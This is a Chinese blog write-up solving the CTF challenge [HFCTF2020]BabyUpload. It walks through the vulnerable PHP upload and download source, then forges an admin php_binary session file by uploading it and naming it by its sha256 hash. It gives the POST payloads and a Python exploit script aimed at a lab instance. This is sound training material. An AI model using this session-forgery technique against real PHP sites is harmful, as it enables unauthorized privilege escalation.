[HFCTF2020]BabyUpload 1

文章详细分析了一个涉及PHPsession伪造的考点,介绍了不同PHP版本下的session存储方式,并提供了解题思路。通过代码分析,指出了解决问题的关键步骤,包括伪造admin的session值以获得权限,并利用文件上传功能在特定目录下创建success.txt文件以满足条件。最后,给出了两种方法实现这一过程,包括手动构造session文件和使用Python脚本进行自动化操作。
摘要由CSDN通过智能技术生成

考点

  • 考点:php_binary引擎下的session伪造;

知识点

  • php_binary存储方式:键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值;
	Ascii字符+usernames:5:"admin";
  • php存储方式:键名+竖线+经过serialize()函数序列处理的值;
  	username|s:5:"admin";
  • php_serialize(php>5.5.4)存储方式是:经过serialize()函数序列化处理的值;
	a:1:{s:8:"username";s:5:"admin";}  

代码分析

  • 打开发现源码;
<?php
error_reporting(0);
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
highlight_file(__FILE__);
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}
?>
  • 设置session存储路径并在根目录下包含flag;
session_save_path("/var/babyctf/");
session_start();
require_once "/flag";
  • 判断如果username===admin就检查/var/babyctf/目录下是否存在success.txt,存在的话就删除并输出flag;
if($_SESSION['username'] ==='admin')
{
    $filename='/var/babyctf/success.txt';
    if(file_exists($filename)){
            safe_delete($filename);
            die($flag);
    }
}
else{
    $_SESSION['username'] ='guest';
}
  • 设置两个post参数directionattr,然后$dir_path0拼接路径,若$attr===private,就在$dir_path路径的基础上再拼接一个username的值;
$direction = filter_input(INPUT_POST, 'direction');
$attr = filter_input(INPUT_POST, 'attr');
$dir_path = "/var/babyctf/".$attr;
if($attr==="private"){
    $dir_path .= "/".$_SESSION['username'];
}
  • 判断如果direction===upload,首先判断是否正常上传,通过则在$dir_path下拼接文件名,之后再拼接一个_,同时加上文件名的sha256值,再限制目录穿越,创建并把文件上传到相应目录下;
if($direction === "upload"){
    try{
        if(!is_uploaded_file($_FILES['up_file']['tmp_name'])){
            throw new RuntimeException('invalid upload');
        }
        $file_path = $dir_path."/".$_FILES['up_file']['name'];
        $file_path .= "_".hash_file("sha256",$_FILES['up_file']['tmp_name']);
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        @mkdir($dir_path, 0700, TRUE);
        if(move_uploaded_file($_FILES['up_file']['tmp_name'],$file_path)){
            $upload_result = "uploaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $upload_result = $e->getMessage();
    }
  • 若不符合前面则让direction===download,读取上传上来的文件名,拼接为$file_path,继续限制目录穿越,再判断文件是否存在,存在则返回文件内容;
} elseif ($direction === "download") {
    try{
        $filename = basename(filter_input(INPUT_POST, 'filename'));
        $file_path = $dir_path."/".$filename;
        if(preg_match('/(\.\.\/|\.\.\\\\)/', $file_path)){
            throw new RuntimeException('invalid file path');
        }
        if(!file_exists($file_path)) {
            throw new RuntimeException('file not exist');
        }
        header('Content-Type: application/force-download');
        header('Content-Length: '.filesize($file_path));
        header('Content-Disposition: attachment; filename="'.substr($filename, 0, -65).'"');
        if(readfile($file_path)){
            $download_result = "downloaded";
        }else{
            throw new RuntimeException('error while saving');
        }
    } catch (RuntimeException $e) {
        $download_result = $e->getMessage();
    }
    exit;
}

解题思路

  • 分析完代码发现,要输出flag,需要满足以下两点;

条件一:$_SESSION[‘username’] ==='admin'——>username的值为admin;
条件二:$filename='/var/babyctf/success.txt'——>/var/babyctf/目录下存在success.txt文件;

方法一

  • php的session默认存储文件名是sess_+PHPSESSID的值,F12查看当前的session值;

在这里插入图片描述

  • 让direction的值为download输出文件内容以判断session的存储方式,attr可以不传值,所以post构造direction=download&attr=&filename=sess_e23e2acf67067810bbe7c7595368ee00;

在这里插入图片描述

  • 查看结果发现是正是php_binary存储方式,接下来伪造admin的session值;
    附上脚本:
<?php
ini_set('session.serialize_handler', 'php_binary'); //设置存储方式为php_binary;
session_save_path("D:\\phpstudy_pro\\WWW\\getsession\\"); //设置session文件保存路径
session_start();

$_SESSION['username'] = 'admin';
?>
  • 对文件名进行sha256计算,将文件名改为sess方便计算;

在这里插入图片描述

	结果: 432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4
  • 所以服务器存储为sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,抓包查看访问结果;

在这里插入图片描述
这样session伪造就成功了,接下来上传success.txt,已知$filenamefile_exists函数检查文件或者目录是否存在,可将attr设置为success.txt创建目录,再上传到该目录下即可绕过判断;

  • 修改PHPSESSID为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

在这里插入图片描述

  • attr传参为success.txt;

在这里插入图片描述
Payload:

	 direction=download&attr=success.txt&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4

方法二

  • 直接使用脚本,脚本如下;
import requests
import hashlib
# url需要修改为自己的靶场url
url = 'http://8ae461e5-88fb-4d46-b3b9-dc4a3fbaf063.node4.buuoj.cn:81/'
# 上传伪造的session文件
files = {"up_file": ("sess", b'\x08usernames:5:"admin";')}
data = {
    'direction': 'upload',
    'attr': ''
}
req = requests.post(url, data=data, files=files)

# 获取session_id
session_id = hashlib.sha256(b'\x08usernames:5:"admin";').hexdigest()

# 在/var/babyctf/下创建success.txt目录
data1 = {
    'attr': 'success.txt',
    'direction': 'upload'
}
req1 = requests.post(url=url, data=data1, files=files)

# 通过伪造的session文件解析,获取flag
cookie = {
    'PHPSESSID': session_id
}

flag = requests.get(url, cookies=cookie)
print(flag.text)
  • 运行脚本获取flag;

在这里插入图片描述
以上内容就是BUUCTF--> [HFCTF2020]BabyUpload 1的解题思路,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值